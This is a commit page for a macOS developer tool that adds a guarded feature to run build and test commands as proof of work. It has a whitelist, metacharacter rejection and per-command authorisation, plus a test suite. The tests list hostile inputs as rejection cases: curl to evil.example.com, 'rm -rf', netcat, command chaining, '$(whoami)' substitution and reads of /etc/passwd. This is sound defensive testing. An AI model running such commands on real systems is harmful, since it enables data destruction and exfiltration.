feat: Hub 自己跑验收命令 —— 实际功能证明

阶段 4 的教训直接催生了这一步:diff 复核把 `case ran(command:exitCode:)`
这个**枚举声明**当成了功能已实现,而没有任何代码产生它。读代码判断不了
"功能是否真的能用",只有跑一遍能。

执行者必须是 Hub 而不是 Claude —— 让它跑完再转述,就又回到了「说说而已」,
转述那一步正是失真发生的地方。产出 Evidence.ran(isProof = true)。

三道闸,全部有测试,元字符那道做过变异验证:

1. 白名单:只放行构建/测试类。刻意排除 npx / pnpm dlx(会下载执行任意包,
   放行它等于白名单形同虚设)、npm install(跑 postinstall 等于执行任意
   代码)、git 的写操作。bash 限定在项目的 scripts/ 下。
2. 元字符:16 个字符逐个测。**这道检查必须在白名单之前** ——
   变异验证时把它挪到后面,`swift test | tee /tmp/x` 立刻因为前缀匹配上
   `swift test` 而被放行。配合 Shell.run 走 execve 数组参数(不是 sh -c)。
3. 总开关默认 off + 逐条授权。授权按命令原文精确匹配,改一个字要重新授权;
   而且手工往 authorized 里塞危险命令也绕不过前两道(单独一条测试守)。

顺带修了注入正文太长:真实项目上拦了 12 条带完整验收条件,糊了满屏。
要点一多就没人看,反而比不拦更容易被忽略。上限 6 条,存疑的排前面,
省略了多少明确说出来。

Shell.run 加 currentDirectory —— 验收命令必须在项目目录里跑,
否则 swift test 找不到 Package.swift。

388 个测试。

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
wuguanganandClaude Opus 5 committed 2026-08-07 19:37:45 +08:00
1 parent d93a624b4e
commit a5ba3f7573
10 files changed
+810 -4

No files matched your search

+15
View File
@@ -27,6 +27,9 @@ final class AppDelegate: NSObject, NSApplicationDelegate {
private let notifications = HubNotificationCenter()
private let placement = IslandPlacementStore()
private let acceptance = AcceptanceStore()
private let verifierSettings = VerifierSettings()
/// 唯一会执行命令的组件。默认关着,由 `verifierSettings` 驱动。
private let verifier = AcceptanceVerifier()
private lazy var island = IslandController(
store: store, approvals: approvals, prompts: prompts, projects: projects,
@@ -51,6 +54,16 @@ final class AppDelegate: NSObject, NSApplicationDelegate {
// 必须在任何一次读取之前把合成数据写到盘上。
if DemoFixtures.isEnabled { DemoFixtures.materialize() }
// 总开关 → verifier actor。
// 不接的话用户在设置里打开了开关,verifier 那边还是关的 —— 一个默默
// 不生效的开关比没有开关更糟。启动时也要同步一次,不能只等变化。
verifierSettings.onChange = { [weak self] enabled in
guard let self else { return }
Task { await self.verifier.update(configuration: .init(enabled: enabled)) }
}
let verificationEnabled = verifierSettings.enabled
Task { await verifier.update(configuration: .init(enabled: verificationEnabled)) }
projects.load()
projects.startGitPolling()
store.start()
@@ -258,6 +271,8 @@ final class AppDelegate: NSObject, NSApplicationDelegate {
approvals: approvals,
placement: placement,
acceptance: acceptance,
verifierSettings: verifierSettings,
verifier: verifier,
channels: hooks.channels,
onJump: { [weak self] sessionId in
self?.store.jump(to: sessionId)
+10
View File
@@ -184,17 +184,27 @@ public struct AcceptanceLedger: Codable, Sendable, Equatable {
public var items: [AcceptanceItem]
/// 还没拆解的用户原话缓冲。
public var rawPrompts: [RawPrompt]
/// 用户点过「允许执行」的命令原文。
///
/// 按项目存,因为授权是有语境的:在自己的项目里跑 `swift test` 没问题,
/// 不代表在别人 clone 来的仓库里也没问题。
///
/// **它只是第三道闸。** 白名单和元字符检查在它之前,手工往这个数组里
/// 塞一条危险命令绕不过前两道 —— 有测试守这一点。
public var authorizedCommands: [String]
public var updatedAt: Date
public init(
projectPath: String,
items: [AcceptanceItem] = [],
rawPrompts: [RawPrompt] = [],
authorizedCommands: [String] = [],
updatedAt: Date = Date()
) {
self.projectPath = projectPath
self.items = items
self.rawPrompts = rawPrompts
self.authorizedCommands = authorizedCommands
self.updatedAt = updatedAt
}
@@ -0,0 +1,254 @@
import Foundation
import HubCore
/// 一次验证的结果。
public enum VerificationOutcome: Sendable, Equatable {
/// 真跑了。证据里带命令原文、退出码、输出尾部。
case ran(Evidence)
/// 命令不在白名单里,或含 shell 元字符。**不执行。**
case rejected(reason: String)
/// 命令合法但用户还没授权过。**不执行。**
case needsAuthorization(command: String)
/// 总开关关着。
case disabled
/// 验收条件是自然语言,没有可执行形式 —— 只能人工看。
case notExecutable
}
/// 命令的静态检查结论。
public enum CommandCheck: Sendable, Equatable {
case allowed([String]) // 拆好的 argv
case rejected(String) // 理由
case notACommand // 自然语言
}
/// **Hub 自己执行验收命令并捕获输出。**
///
/// ## 为什么执行者必须是 Hub
///
/// 让 Claude 跑完再把结果转述给 Hub,就又回到了「说说而已」—— 转述那一步
/// 正是失真发生的地方。实测见过一次:我谎报"已实现自动执行验收命令",
/// 旁路复核看到 `case ran(command:exitCode:)` 这个**枚举声明**就判了通过,
/// 而没有任何代码产生它。读代码判断不了功能是否真的能用,只有跑一遍能。
///
/// ## 安全边界(三道闸,缺一不可)
///
/// 验收命令来自**模型输出**,等同于不可信输入。这是全案唯一会执行命令的地方。
///
/// 1. **白名单**:只放行项目内的构建/测试类命令,前缀对不上一律不跑;
/// 2. **拒绝 shell 元字符**:不做转义,直接拒。配合 `Shell.run` 走 execve
/// 数组参数(不是 `sh -c`),命令注入在结构上不成立;
/// 3. **默认关闭 + 逐条授权**:总开关默认 off,开启后每条新命令首次执行前
/// 要用户在界面上点「允许」。
///
/// 不做沙箱、不做超时之外的资源限制 —— 那是过度设计。三道闸把风险压在
/// 「用户自己本来就会敲的命令」这个范围内。
public actor AcceptanceVerifier {
public struct Configuration: Sendable {
/// **默认关闭。** 这是唯一会执行命令的功能,不该在用户不知情时开着。
public var enabled: Bool
/// 单条命令的上限。构建和测试都可能跑几分钟。
public var timeout: TimeInterval
/// 留存的输出尾部长度。尾部比头部有用 —— 失败原因和统计都在最后。
public var tailLimit: Int
public init(
enabled: Bool = false, timeout: TimeInterval = 300, tailLimit: Int = 4_000
) {
self.enabled = enabled
self.timeout = timeout
self.tailLimit = tailLimit
}
}
private var configuration: Configuration
public init(configuration: Configuration = Configuration()) {
self.configuration = configuration
}
public func update(configuration: Configuration) {
self.configuration = configuration
}
public var isEnabled: Bool { configuration.enabled }
// MARK: - 闸门①:白名单
//
// 每一项是「命令的前若干个词」。argv 的开头必须完全匹配其中一项。
//
// 刻意排除的:
// - `npx` / `pnpm dlx` —— 它们会下载并执行任意包,等于白名单形同虚设;
// - `npm install` / `ci` —— 有副作用(改 node_modules、可能跑 postinstall 脚本);
// - `git` 的写操作 —— 只留 diff / status / log 这些只读的。
static let whitelist: [[String]] = [
["swift", "test"], ["swift", "build"],
["npm", "run"], ["npm", "test"],
["pnpm", "run"], ["pnpm", "test"],
["yarn", "run"], ["yarn", "test"],
["make"],
["pytest"], ["python3", "-m", "pytest"],
["go", "test"], ["go", "build"], ["go", "vet"],
["cargo", "test"], ["cargo", "build"], ["cargo", "clippy"],
["bash", "scripts/"],
["git", "diff"], ["git", "status"], ["git", "log"],
["xcodebuild", "test"], ["xcodebuild", "build"],
]
// MARK: - 闸门②:shell 元字符
//
// 一个都不许有。**不做转义,直接拒** —— 转义是个永远补不完的名单,
// 而这里完全不需要这些字符:白名单里全是 `cmd sub --flag value` 的形状。
//
// 配合 Shell.run 走 execve 数组参数(不是 sh -c),即使漏了某个字符,
// 它也只会被当成一个普通的参数字面量传下去,不会被解释。
// 两道一起上,不二选一。
static let forbidden: Set<Character> = [
";", "|", "&", ">", "<", "$", "`", "(", ")", "{", "}",
"\n", "\r", "\\", "\"", "'", "*", "?", "!",
]
/// 静态检查一条验收条件。**不执行任何东西。**
public static func classify(_ acceptance: String) -> CommandCheck {
let trimmed = acceptance.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return .notACommand }
// ⚠️ 这一步**必须在白名单之前**。放到后面的话 `swift test | tee /tmp/x`
// 会因为前缀匹配上 `swift test` 而被放行 —— 变异测试实测过。
if let bad = trimmed.first(where: { forbidden.contains($0) }) {
return .rejected("含 shell 元字符「\(bad)」")
}
let argv = trimmed.split(separator: " ", omittingEmptySubsequences: true).map(String.init)
guard let head = argv.first else { return .notACommand }
// 绝对路径 / 相对路径的可执行文件一律不放行 —— 白名单是按命令名写的,
// `./build.sh` 这种绕过了它。要跑就写成 `bash scripts/build.sh`。
guard !head.contains("/") else {
return .rejected("不接受路径形式的命令,请写成白名单内的形式")
}
// 看起来完全不像命令名(中文描述、"打开设置页能看到开关")→ 交给人工。
//
// 注意这里返回的是 `.notACommand` 而不是 `.rejected`:拆解器本来就允许
// 给不出可执行形式时写自然语言,那不是错误,只是这一条没法机器验证。
// 混成 rejected 的话,界面上会对着一堆正常的验收条件报"命令被拒绝"。
let nameCharacters: (Character) -> Bool = {
$0.isASCII && ($0.isLetter || $0.isNumber || $0 == "-" || $0 == "_" || $0 == ".")
}
guard head.allSatisfy(nameCharacters) else { return .notACommand }
for shape in whitelist where matches(argv: argv, shape: shape) {
return .allowed(argv)
}
return .rejected("「\(head)」不在白名单里")
}
/// argv 的开头是否匹配白名单的某一项。
///
/// 末尾带 `/` 的项(`["bash", "scripts/"]`)表示这一段只要**以它开头**即可,
/// 用来允许 `bash scripts/任意.sh` 而不放行 `bash /etc/任意`。
static func matches(argv: [String], shape: [String]) -> Bool {
guard argv.count >= shape.count else { return false }
for (index, expected) in shape.enumerated() {
let actual = argv[index]
if expected.hasSuffix("/") {
guard actual.hasPrefix(expected) else { return false }
} else {
guard actual == expected else { return false }
}
}
return true
}
// MARK: - 执行
/// 跑一条验收命令。
///
/// - Parameter authorized: 用户已经点过「允许」的命令原文集合。
public func verify(
acceptance: String?, cwd: String, authorized: Set<String>
) -> VerificationOutcome {
guard let acceptance else { return .notExecutable }
guard configuration.enabled else { return .disabled }
switch Self.classify(acceptance) {
case .notACommand:
return .notExecutable
case .rejected(let reason):
return .rejected(reason: reason)
case .allowed(let argv):
let command = argv.joined(separator: " ")
// 闸门③:白名单过了也要用户点过头。白名单挡的是"这类命令危险",
// 授权挡的是"这条具体的命令我不认识"。
guard authorized.contains(command) else {
return .needsAuthorization(command: command)
}
return execute(argv: argv, cwd: cwd, command: command)
}
}
private func execute(argv: [String], cwd: String, command: String) -> VerificationOutcome {
guard let executable = Self.locate(argv[0]) else {
return .rejected(reason: "找不到 \(argv[0])")
}
let result = Shell.run(
executable,
Array(argv.dropFirst()),
timeout: configuration.timeout,
environment: Self.environment(cwd: cwd),
// 必须在项目目录里跑,否则 swift test 找不到 Package.swift。
currentDirectory: cwd
)
let combined = (result.stdout + result.stderr)
.trimmingCharacters(in: .whitespacesAndNewlines)
let tail = combined.count <= configuration.tailLimit
? combined
: "…(只留尾部)\n" + String(combined.suffix(configuration.tailLimit))
return .ran(.ran(command: command, exitCode: result.status, tail: tail))
}
/// 找可执行文件。
///
/// **不能靠 PATH**:Hub 是 GUI app,从 launchd 起,PATH 只有
/// `/usr/bin:/bin:/usr/sbin:/sbin` —— homebrew 装的 node / cargo 全都不在。
/// 同 `StallJudge.locateClaude` 的理由。
static func locate(_ name: String) -> String? {
let home = FileManager.default.homeDirectoryForCurrentUser.path
let directories = [
"/usr/bin", "/bin", "/usr/local/bin", "/opt/homebrew/bin",
"\(home)/.local/bin", "\(home)/.cargo/bin", "\(home)/.bun/bin",
"/usr/local/go/bin",
]
for directory in directories {
let path = "\(directory)/\(name)"
if FileManager.default.isExecutableFile(atPath: path) { return path }
}
return nil
}
/// 给子进程一个像样的 PATH。
///
/// npm 找 node、cargo 找 rustc 都靠 PATH,光定位到 npm 本身不够。
static func environment(cwd: String) -> [String: String] {
let home = FileManager.default.homeDirectoryForCurrentUser.path
let path = [
"/usr/local/bin", "/opt/homebrew/bin", "\(home)/.local/bin",
"\(home)/.cargo/bin", "\(home)/.bun/bin", "/usr/local/go/bin",
"/usr/bin", "/bin", "/usr/sbin", "/sbin",
].joined(separator: ":")
return [
"PATH": path,
// 语言环境:launchd 给的环境里没有 LANG,一些工具会按 ASCII 处理
// 输出,撞上中文就炸(video-digest 那边真踩过一模一样的坑)。
"LANG": "en_US.UTF-8",
"PWD": cwd,
]
}
}
+8 -1
View File
@@ -20,15 +20,22 @@ public enum Shell {
/// - Parameter environment: 在继承的环境之上追加/覆盖的变量。
/// `StallJudge` 用它注入 `HUB_JUDGE=1` 来封死 hook 回环。
@discardableResult
/// - Parameter currentDirectory: 子进程的工作目录。
/// 验收命令(`swift test` / `npm run build`)必须在项目目录里跑,
/// 否则找不到 Package.swift / package.json。
public static func run(
_ executable: String,
_ arguments: [String],
timeout: TimeInterval = 5,
environment: [String: String] = [:]
environment: [String: String] = [:],
currentDirectory: String? = nil
) -> Result {
let process = Process()
process.executableURL = URL(fileURLWithPath: executable)
process.arguments = arguments
if let currentDirectory {
process.currentDirectoryURL = URL(fileURLWithPath: currentDirectory)
}
if !environment.isEmpty {
process.environment = ProcessInfo.processInfo.environment
.merging(environment) { _, new in new }
+89
View File
@@ -22,8 +22,14 @@ struct AcceptancePane: View {
let acceptance: AcceptanceStore
let projects: ProjectStore
let store: SessionStore
let settings: VerifierSettings
let verifier: AcceptanceVerifier
@Binding var selection: String?
/// 正在跑验证的那一条。同时只允许跑一条 —— 并发跑 `swift build`
/// 会互相抢构建目录锁,结果全是假失败。
@State private var running: String?
@State private var expanded: Set<String> = []
@State private var draft = ""
@State private var pickerOpen = false
@@ -420,6 +426,7 @@ struct AcceptancePane: View {
.font(.system(size: 11, design: .monospaced))
.foregroundStyle(.secondary)
.textSelection(.enabled)
verifyControls(item, acceptance)
}
if let note = item.note {
Text(note)
@@ -465,6 +472,88 @@ struct AcceptancePane: View {
.padding(.leading, 15)
}
// MARK: - 实际功能证明(Hub 自己跑)
/// 验收条件下面那一行控件。
///
/// 三道闸的状态在这里全都要**说出来**,不能只显示一个能点的按钮:
/// 用户得知道这条为什么能跑 / 为什么不能跑。一个默默不工作的按钮
/// 比没有按钮更糟。
@ViewBuilder
private func verifyControls(_ item: AcceptanceItem, _ acceptance: String) -> some View {
let check = AcceptanceVerifier.classify(acceptance)
HStack(spacing: 8) {
switch check {
case .notACommand:
Text("这条只能人工确认")
.font(.system(size: 10))
.foregroundStyle(.tertiary)
case .rejected(let reason):
Label(reason, systemImage: "hand.raised.fill")
.font(.system(size: 10))
.foregroundStyle(IslandTheme.danger)
case .allowed(let argv):
let command = argv.joined(separator: " ")
if !settings.enabled {
Text("总开关关着 —— 去设置里打开「自动跑验收命令」")
.font(.system(size: 10))
.foregroundStyle(.tertiary)
} else if acceptanceStoreAuthorized(command) {
Button(running == item.id ? "跑着…" : "现在验证") {
runVerification(item, command: command)
}
.buttonStyle(.borderless)
.font(.system(size: 11, weight: .medium))
.disabled(running != nil)
Button("撤销授权") { revoke(command) }
.buttonStyle(.borderless)
.font(.system(size: 10))
.foregroundStyle(.secondary)
} else {
// 命令原文原样显示 —— 授权的前提是看得见到底要跑什么。
Button("允许执行 `\(command)`") { authorize(command) }
.buttonStyle(.borderless)
.font(.system(size: 11, weight: .medium))
}
}
Spacer()
}
}
private func acceptanceStoreAuthorized(_ command: String) -> Bool {
guard let path = currentPath else { return false }
return acceptance.isAuthorized(command, in: path)
}
private func authorize(_ command: String) {
guard let path = currentPath else { return }
acceptance.authorize(command, in: path)
}
private func revoke(_ command: String) {
guard let path = currentPath else { return }
acceptance.revoke(command, in: path)
}
private func runVerification(_ item: AcceptanceItem, command: String) {
guard let path = currentPath else { return }
running = item.id
let verifier = self.verifier
let authorized = Set(acceptance.ledger(for: path).authorizedCommands)
Task {
let outcome = await verifier.verify(
acceptance: item.acceptance, cwd: path, authorized: authorized
)
running = nil
guard case .ran(let evidence) = outcome else { return }
acceptance.recordVerification(evidence, forID: item.id, in: path)
// 展开着才看得到结果。
expanded.insert(item.id)
}
}
// MARK: - 手动加一条
@ViewBuilder
+45 -1
View File
@@ -105,6 +105,35 @@ public final class AcceptanceStore {
/// 一轮验收结束后清掉,下一轮重新攒。
public func clearTouchedFiles(sessionId: String) { touched[sessionId] = nil }
// MARK: - 验收命令的授权
public func isAuthorized(_ command: String, in projectPath: String) -> Bool {
ledger(for: projectPath).authorizedCommands.contains(command)
}
public func authorize(_ command: String, in projectPath: String) {
mutate(projectPath) { ledger in
guard !ledger.authorizedCommands.contains(command) else { return }
ledger.authorizedCommands.append(command)
}
}
public func revoke(_ command: String, in projectPath: String) {
mutate(projectPath) { $0.authorizedCommands.removeAll { $0 == command } }
}
/// 记下一次真实执行的结果。
///
/// 走 `.ran` 这一档,`isProof` 为 true —— 这是 Hub **亲手**跑出来的,
/// 和 Claude 的自述不是一回事。
public func recordVerification(_ evidence: Evidence, forID id: String, in projectPath: String) {
mutate(projectPath) { ledger in
guard let index = ledger.items.firstIndex(where: { $0.id == id }) else { return }
ledger.items[index].evidence.append(evidence)
ledger.items[index].updatedAt = Date()
}
}
// MARK: - 读
/// 取某个项目的清单。没有就返回一份空的(不落盘,等到真有内容再写)。
@@ -256,10 +285,25 @@ public final class AcceptanceStore {
let pending = ledger(for: projectPath).items.filter(\.needsAttention)
guard !pending.isEmpty else { return nil }
let lines = pending.map { item -> String in
// 一次最多摆这么多条。
//
// 实测在一个真实项目上拦了 12 条,带完整验收条件之后糊了满屏 ——
// 要点一多就没人看(Claude 也一样),反而比不拦更容易被忽略。
// 存疑的排前面:那一档是「自报做完但代码里找不到」,最该先说清楚。
let cap = 6
let ordered = pending.sorted { left, right in
(left.status == .disputed ? 0 : 1) < (right.status == .disputed ? 0 : 1)
}
let shown = Array(ordered.prefix(cap))
var lines = shown.map { item -> String in
let condition = item.acceptance.map { "(验收条件:\($0))" } ?? ""
return "- [\(item.id)] \(item.text)\(condition)"
}
if ordered.count > cap {
// 省略了多少必须说出来。静默截断会让人以为"就这几条"。
lines.append("(另有 \(ordered.count - cap) 条未列出,这轮先核对上面这些)")
}
return """
【Claude Hub 验收守望】以下要点来自**用户的原始需求和已批准的计划**,\
+39 -2
View File
@@ -1,6 +1,7 @@
import AppKit
import HubCore
import HubIPC
import HubProbe
import HubProjects
import SwiftUI
@@ -42,6 +43,8 @@ public struct MainWindowView: View {
@Bindable var approvals: ApprovalCoordinator
@Bindable var placement: IslandPlacementStore
@Bindable var acceptance: AcceptanceStore
@Bindable var verifierSettings: VerifierSettings
let verifier: AcceptanceVerifier
let channels: HookChannelMonitor
let onJump: (String) -> Void
let onLaunch: (Project, LaunchMode) -> Void
@@ -60,6 +63,8 @@ public struct MainWindowView: View {
approvals: ApprovalCoordinator,
placement: IslandPlacementStore,
acceptance: AcceptanceStore,
verifierSettings: VerifierSettings,
verifier: AcceptanceVerifier,
channels: HookChannelMonitor,
onJump: @escaping (String) -> Void,
onLaunch: @escaping (Project, LaunchMode) -> Void
@@ -69,6 +74,8 @@ public struct MainWindowView: View {
self.approvals = approvals
self.placement = placement
self.acceptance = acceptance
self.verifierSettings = verifierSettings
self.verifier = verifier
self.channels = channels
self.onJump = onJump
self.onLaunch = onLaunch
@@ -104,7 +111,8 @@ public struct MainWindowView: View {
)
case .acceptance:
AcceptancePane(
acceptance: acceptance, projects: projects, store: store, selection: $ledgerPath
acceptance: acceptance, projects: projects, store: store,
settings: verifierSettings, verifier: verifier, selection: $ledgerPath
)
case .projects:
ProjectsPane(projects: projects, store: store, git: git, onLaunch: onLaunch)
@@ -115,7 +123,7 @@ public struct MainWindowView: View {
case .settings:
SettingsPane(
approvals: approvals, projects: projects, git: git,
placement: placement, channels: channels
placement: placement, channels: channels, verifierSettings: verifierSettings
)
}
}
@@ -697,9 +705,37 @@ struct SettingsPane: View {
let git: GitAccountStore
@Bindable var placement: IslandPlacementStore
let channels: HookChannelMonitor
@Bindable var verifierSettings: VerifierSettings
@State private var hookStatus: String = "检查中…"
/// 「Hub 自己跑验收命令」的总开关。
///
/// 文案上刻意把三道闸都说出来。这是全案唯一会执行命令的功能,
/// 用户有权知道边界在哪 —— 只写一句"自动验证"然后让他猜,
/// 结果只会是他不敢开,或者开了但不知道自己开了什么。
@ViewBuilder
private var verifierCard: some View {
VStack(alignment: .leading, spacing: 8) {
Toggle("自动跑验收命令(实际功能证明)", isOn: $verifierSettings.enabled)
.font(.system(size: 14, weight: .semibold))
Text("""
关掉时 Claude Hub 一条命令都不会执行。打开后也仍有两道限制:\
只放行构建/测试类命令(`swift test`、`npm run`、`bash scripts/*` 等),\
含 shell 元字符的一律拒绝;而且**每条命令首次执行前要你在验收页点「允许」**。
""")
.font(.system(size: 11))
.foregroundStyle(.secondary)
Text("这是 Claude Hub 唯一会在你机器上执行命令的功能。")
.font(.system(size: 11, weight: .medium))
.foregroundStyle(
verifierSettings.enabled ? IslandTheme.waiting : Color.secondary.opacity(0.6)
)
}
}
/// hook 通道健康度。
///
/// `hubctl doctor` 只能回答"socket 通不通"。但链路断掉的方式远不止这一种:
@@ -751,6 +787,7 @@ struct SettingsPane: View {
ScrollView {
VStack(spacing: 12) {
Card { verifierCard }
Card { hookChannels }
Card {
VStack(alignment: .leading, spacing: 10) {
@@ -0,0 +1,65 @@
import Foundation
import Observation
/// 「Hub 自己跑验收命令」的总开关。
///
/// 单独一个类型、单独一个文件,而不是塞进 `AcceptanceStore`:
/// 这是全案唯一控制**执行命令**的开关,它值得一眼就能找到,
/// 也不该和几百条验收要点混在同一份 JSON 里 —— 那份文件是会被手改的。
///
/// **默认关闭。** 用户装上 Hub 时不该有任何东西在背后跑命令。
@Observable
@MainActor
public final class VerifierSettings {
public var enabled: Bool = false {
didSet {
guard enabled != oldValue else { return }
persist()
onChange?(enabled)
}
}
/// 开关变化后通知 verifier actor。app 层注入。
@ObservationIgnored
public var onChange: ((Bool) -> Void)?
/// nonisolated:要当 `init` 的默认参数值用,默认值在调用方的隔离域里求值。
/// 同 `IslandPlacementStore.defaultURL`。
public nonisolated static var defaultURL: URL {
FileManager.default.homeDirectoryForCurrentUser
.appendingPathComponent("Library/Application Support/claude-hub/verifier.json")
}
/// nil = 不落盘。理由同仓库里其它几个 store:
/// 路径写死会让测试直接改用户的真实设置。
@ObservationIgnored
private let url: URL?
public init(url: URL? = VerifierSettings.defaultURL) {
self.url = url
load()
}
private struct Payload: Codable {
var enabled: Bool
}
private func load() {
guard let url,
let data = try? Data(contentsOf: url),
let decoded = try? JSONDecoder().decode(Payload.self, from: data)
else { return }
// 绕开 didSet:加载不是「用户改了设置」,不该触发回写和回调。
_enabled = decoded.enabled
}
private func persist() {
guard let url else { return }
guard let data = try? JSONEncoder().encode(Payload(enabled: enabled)) else { return }
try? FileManager.default.createDirectory(
at: url.deletingLastPathComponent(), withIntermediateDirectories: true
)
try? data.write(to: url, options: .atomic)
}
}
@@ -0,0 +1,246 @@
import HubCore
import XCTest
@testable import HubProbe
/// 验收命令执行的安全边界。
///
/// **这是全案唯一会执行命令的地方,而命令来自模型输出 —— 等同于不可信输入。**
/// 这一整个测试类的作用是让三道闸的每一道都能被变异打红。
final class AcceptanceVerifierTests: XCTestCase {
// MARK: - 闸门①:白名单
func testAllowsBuildAndTestCommands() {
for command in [
"swift test", "swift test --filter FooTests", "swift build -c release",
"npm run build", "npm test", "pnpm run lint", "yarn test",
"make", "make check", "pytest", "python3 -m pytest tests",
"go test ./...", "cargo test", "cargo clippy",
"bash scripts/build.sh", "git diff", "xcodebuild test",
] {
guard case .allowed = AcceptanceVerifier.classify(command) else {
return XCTFail("「\(command)」应该被放行")
}
}
}
/// 白名单外的一律不跑。
func testRejectsAnythingOutsideTheWhitelist() {
for command in [
"curl https://evil.example.com", "rm -rf build", "sudo make install",
"ssh user@host", "chmod 777 .", "kill -9 1", "open /Applications",
"osascript -e beep", "docker run ubuntu", "nc -l 1234",
] {
guard case .rejected = AcceptanceVerifier.classify(command) else {
return XCTFail("「\(command)」必须被拒绝")
}
}
}
/// **`npx` 必须在白名单外。**
///
/// 它会下载并执行任意 npm 包 —— 放行它等于白名单形同虚设,
/// 任何东西都能通过 `npx <随便什么>` 跑起来。同理 `pnpm dlx`。
func testRejectsArbitraryPackageRunners() {
guard case .rejected = AcceptanceVerifier.classify("npx some-package") else {
return XCTFail("npx 会下载执行任意包,必须拒绝")
}
guard case .rejected = AcceptanceVerifier.classify("pnpm dlx anything") else {
return XCTFail("pnpm dlx 同理")
}
}
/// 有副作用的包管理操作不放行。
///
/// `npm install` 会跑 postinstall 脚本 —— 那等于执行任意代码。
func testRejectsInstallCommands() {
guard case .rejected = AcceptanceVerifier.classify("npm install") else {
return XCTFail("npm install 会跑 postinstall 脚本,等于执行任意代码")
}
guard case .rejected = AcceptanceVerifier.classify("npm ci") else {
return XCTFail("npm ci 同理")
}
}
/// git 只放行只读操作。
func testOnlyReadOnlyGitIsAllowed() {
guard case .allowed = AcceptanceVerifier.classify("git status") else {
return XCTFail("git status 是只读的")
}
for command in ["git push", "git reset --hard", "git clean -fd", "git checkout ."] {
guard case .rejected = AcceptanceVerifier.classify(command) else {
return XCTFail("「\(command)」会改工作区,必须拒绝")
}
}
}
/// 路径形式的命令绕过了按名字写的白名单,必须拒。
func testRejectsPathFormCommands() {
for command in ["./build.sh", "/bin/sh", "../evil", "~/bin/whatever"] {
guard case .rejected = AcceptanceVerifier.classify(command) else {
return XCTFail("「\(command)」是路径形式,绕过了白名单")
}
}
}
/// `bash` 只能跑项目内 scripts/ 下的东西。
func testBashIsScopedToProjectScripts() {
guard case .allowed = AcceptanceVerifier.classify("bash scripts/test.sh") else {
return XCTFail("项目内脚本应该放行")
}
for command in ["bash /etc/passwd", "bash ~/evil.sh", "bash -c whatever"] {
guard case .rejected = AcceptanceVerifier.classify(command) else {
return XCTFail("「\(command)」不在 scripts/ 下,必须拒绝")
}
}
}
// MARK: - 闸门②:shell 元字符
//
// **逐个字符各来一条**,别只测一个 —— 漏掉任何一个都是一条注入通道。
func testRejectsEveryShellMetacharacter() {
let attacks: [(String, String)] = [
(";", "swift test; rm -rf /tmp/x"),
("|", "swift test | tee /tmp/x"),
("&", "swift test && curl evil.example.com"),
(">", "swift test > /tmp/x"),
("<", "swift test < /etc/passwd"),
("$", "swift test $(whoami)"),
("`", "swift test `whoami`"),
("(", "swift test (echo hi)"),
("{", "swift test {a,b}"),
("\\", "swift test \\; rm"),
("\"", "swift test \"x\""),
("'", "swift test 'x'"),
("*", "swift test *"),
("?", "swift test ?"),
("!", "swift test !!"),
("换行", "swift test\nrm -rf /tmp/x"),
]
for (name, command) in attacks {
guard case .rejected(let reason) = AcceptanceVerifier.classify(command) else {
return XCTFail("含「\(name)」的命令必须被拒绝:\(command)")
}
XCTAssertTrue(
reason.contains("元字符"),
"拒绝理由应指明是元字符,实际是「\(reason)」"
)
}
}
/// 元字符检查必须**先于**白名单 —— 否则 `swift test; rm -rf /` 会因为
/// 前缀匹配上 `swift test` 而被放行。
func testMetacharacterCheckRunsBeforeTheWhitelist() {
guard case .rejected(let reason) = AcceptanceVerifier.classify("swift test; rm -rf /") else {
return XCTFail("白名单前缀匹配不能让注入溜过去")
}
XCTAssertTrue(reason.contains("元字符"))
}
// MARK: - 自然语言不是错误
/// 拆解器本来就允许给不出命令时写自然语言。
///
/// 那不是错误,只是这一条没法机器验证。混成 `rejected` 的话,
/// 界面上会对着一堆正常的验收条件报"命令被拒绝"。
func testPlainLanguageIsNotACommand() {
for text in ["打开设置页能看到开关", "手动点一下看看", "用户能正常翻页", ""] {
guard case .notACommand = AcceptanceVerifier.classify(text) else {
return XCTFail("「\(text)」是自然语言,不该报拒绝")
}
}
}
// MARK: - 闸门③:总开关与逐条授权
/// **总开关默认必须是关的。**
///
/// 这是唯一会执行命令的功能,不该在用户不知情时开着。
func testDisabledByDefault() async {
let verifier = AcceptanceVerifier()
let enabled = await verifier.isEnabled
XCTAssertFalse(enabled, "默认必须关闭")
}
func testDisabledVerifierRunsNothing() async {
let verifier = AcceptanceVerifier()
let outcome = await verifier.verify(
acceptance: "swift test", cwd: "/tmp", authorized: ["swift test"]
)
XCTAssertEqual(outcome, .disabled, "总开关关着时,哪怕授权过也不能跑")
}
/// 白名单过了、开关开了,**还没授权也不能跑**。
///
/// 白名单挡的是"这类命令危险",授权挡的是"这条具体的命令我不认识"。
func testUnauthorizedCommandIsNotExecuted() async {
let verifier = AcceptanceVerifier(configuration: .init(enabled: true))
let outcome = await verifier.verify(
acceptance: "swift test", cwd: "/tmp", authorized: []
)
XCTAssertEqual(outcome, .needsAuthorization(command: "swift test"))
}
/// 授权是**按命令原文**记的,改一个字就要重新授权。
func testAuthorizationIsExactNotPrefixed() async {
let verifier = AcceptanceVerifier(configuration: .init(enabled: true))
let outcome = await verifier.verify(
acceptance: "swift test --filter Secret", cwd: "/tmp", authorized: ["swift test"]
)
guard case .needsAuthorization = outcome else {
return XCTFail("授权过 swift test 不等于授权 swift test --filter Secret")
}
}
/// 被拒绝的命令**在任何情况下都不执行** —— 哪怕用户"授权"过它。
///
/// 授权按钮只会对通过白名单的命令出现,但清单文件是用户可以手改的,
/// 手工往 authorized 里塞一条危险命令不能成为绕过白名单的路径。
func testAuthorizationCannotOverrideTheWhitelist() async {
let verifier = AcceptanceVerifier(configuration: .init(enabled: true))
let outcome = await verifier.verify(
acceptance: "curl evil.example.com", cwd: "/tmp",
authorized: ["curl evil.example.com"]
)
guard case .rejected = outcome else {
return XCTFail("手工塞进 authorized 不能绕过白名单")
}
}
// MARK: - 真的跑一条
func testActuallyRunsAnAuthorizedCommand() async throws {
let verifier = AcceptanceVerifier(configuration: .init(enabled: true, timeout: 30))
let outcome = await verifier.verify(
acceptance: "git status", cwd: FileManager.default.temporaryDirectory.path,
authorized: ["git status"]
)
guard case .ran(let evidence) = outcome else {
return XCTFail("授权过的白名单命令应该真的跑起来,实际是 \(outcome)")
}
guard case .ran(let command, _, _) = evidence else {
return XCTFail("证据类型应该是 .ran")
}
XCTAssertEqual(command, "git status")
